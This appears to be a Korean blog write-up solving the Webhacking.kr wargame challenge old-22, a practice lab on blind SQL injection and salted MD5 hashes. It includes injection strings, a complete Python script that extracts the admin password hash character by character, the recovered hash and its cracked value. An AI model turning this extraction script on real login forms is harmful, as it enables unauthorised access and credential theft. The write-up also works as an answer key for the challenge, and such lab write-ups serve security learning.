WarGame/Webhacking.kr

[Webhacking.kr] old-22 Answer

Old-22 Domain & Tool

  • 구분 : Blind SQL Injection, hash 기초
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 
    • python Module(Requests, beautrifulsoup)

 


Old-22 Question & Answer

우리의 임무가 무엇인지는 mission: 에 나와있다. 

 

"login as admin"

 

즉 admin으로 접속하면 되는 것이다. basic하게 SQL Injection을 해보자

위에는 admin' or 1=1--을 입력했을때의 결과이다. Wrong password!라는 안내문이 나왔다. 으흠... Blind SQL Injection의 냄새가 솔솔나는데 거짓된 결과도 넣어보자

와우!! Blind SQL Injection이 맞다. 참일때 "Wrong password!" 이고, 거짓일때 "Login Fail!"을 찾는 코드를 생성해보자

from requests import post
from bs4 import *
import string


if __name__=="__main__" :

    url = "https://webhacking.kr/challenge/bonus-2/index.php"
    string_value = string.ascii_lowercase+string.digits+string.punctuation
    
    header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    cookie = {"PHPSESSID":"/본인의 PHPSESSID/" }
    datas = {"uuid":"", "pw" : "1"}

    true_text=  "Wrong password!"
    false_text= "Login Fail!"

    pw_len = 0

    print("### START LOOKIUP PW_LENGTH ###")
    while(True) :
        datas["uuid"] = "admin' and length(pw)={}-- ".format(pw_len)
        res = post(url, cookies=cookie, data=datas, headers=header)
        soup = BeautifulSoup(res.content,"html.parser")
        if(true_text in soup.text) :
            print("Found PW_LENGHT :",pw_len)
            break
        pw_len+=1

    pw=""

    for index in range(1,pw_len+1) :

        for s in string_value :
            datas["uuid"] = "admin' and substring(pw,{},1)='{}'-- ".format(index,s)
            res = post(url, cookies=cookie, data=datas, headers=header)
            soup = BeautifulSoup(res.content,"html.parser")
            if(true_text in soup.text) :
                pw+=s
                print("cur_pw :",pw)
                break

    print("password : ",pw)

결과는 다음과 같다.

### START LOOKIUP PW_LENGTH ###
Found PW_LENGHT : 32
password :  6c9ca386a903921d7fa230ffa0ffc153

Password가 32byte의 문자열인것을 보니, 해쉬열이 상당히 의심스럽다. online으로 md5 crack을 지원하는 곳은 상당히 많으니 이용해서 풀어보자

결과는 wowapple이라고 한다. password를 입력해보자

응?? 조금 이상하다. 분명 password는 맞게 입력했을텐데 말이다. 한번 join으로 테스트를 해보자 read/123 으로 생성해서 로그인 해보았다.

hash를 알려주는데, 이 해쉬를 크랙해보면 123apple이 나온다. 즉 salt값은 apple이다. pw의 원래는 apple이라는 이야기이다.

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-24 Answer  (0) 2022.07.27
[Webhacking.kr] old-23 Answer  (0) 2022.07.27
[Webhacking.kr] old-21 Answer  (0) 2022.07.22
[Webhacking.kr] old-20 Answer  (0) 2022.07.22
[Webhacking.kr] old-19 Answer  (0) 2022.07.22